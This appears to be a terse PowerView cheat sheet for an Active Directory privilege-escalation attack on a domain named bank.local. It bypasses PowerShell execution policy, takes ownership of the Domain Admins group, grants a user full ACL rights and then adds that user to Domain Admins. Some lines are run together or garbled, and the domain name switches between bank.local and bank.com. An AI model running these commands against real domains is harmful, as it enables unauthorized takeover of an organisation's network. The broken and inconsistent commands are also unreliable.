Powerview_cheet
Power view cheat sheet
Commands
Note: Domain = bank.local, User = goodboy
bank.local, User = goodboypowershell -ep bypass
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'goodboy'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "goodboy"
net group "domain admins" goodboy /add /domainImport the AD module (requires RSAT or AD PowerShell tools)
Import-Module ActiveDirectoryNow try the command again
$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=bank,DC=com"
$groupDN = "LDAP://CN=Domain Admins,CN=Users,DC=bank,DC=com"
$acl = [System.DirectoryServices.DirectoryEntry]::new($groupDN).ObjectSecurityKey Explanations:
Permission Why Needed
1. with ✔ Modify permissions
2. with permission - write all properties ✔ is only enabled
if powerview fails
3. with permissions - ✔ modify owner is only enabled
Last updated